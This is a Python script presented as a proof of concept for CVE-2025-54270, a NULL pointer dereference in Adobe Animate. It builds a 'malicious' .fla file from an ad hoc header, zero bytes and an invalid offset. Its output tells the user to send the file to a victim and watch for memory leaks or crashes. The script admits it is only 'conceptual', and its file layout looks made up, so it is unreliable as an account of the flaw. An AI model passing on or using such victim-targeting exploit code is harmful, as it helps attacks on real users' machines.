CVE-2025-54270

# CVE-2025-54270 - Adobe Animate NULL Pointer Dereference PoC # This is a conceptual PoC demonstrating the vulnerability trigger # The actual exploit requires crafting a malicious Adobe Animate file import struct import os def create_malicious_animate_file(output_path): """ Create a malformed Animate file to trigger NULL pointer dereference. The file contains corrupted data structures that cause the application to dereference a NULL pointer during parsing. """ # FLA file header (simplified) header = b'FLA' header += struct.pack('<I', 0x00000001) # Version header += struct.pack('<I', 0x00000000) # NULL pointer reference trigger # Corrupted data block to trigger NULL pointer dereference # The malformed structure causes Animate to attempt dereferencing # an uninitialized/NULL pointer during file parsing corrupted_data = b'\x00' * 16 # Zero-filled region simulating NULL pointer corrupted_data += struct.pack('<I', 0xFFFFFFFF) # Invalid offset corrupted_data += b'\x00' * 256 # Padding # Write the malicious file with open(output_path, 'wb') as f: f.write(header) f.write(corrupted_data) print(f"[+] Malicious Animate file created: {output_path}") print("[*] When opened in Adobe Animate <= 23.0.13 or <= 24.0.10,") print(" this file triggers a NULL pointer dereference,") print(" potentially leaking sensitive memory contents.") if __name__ == "__main__": output = "exploit_CVE-2025-54270.fla" create_malicious_animate_file(output) print(f"\n[!] Send this file to a victim and have them open it in Adobe Animate") print(f"[!] Monitor for memory disclosure or application crash")

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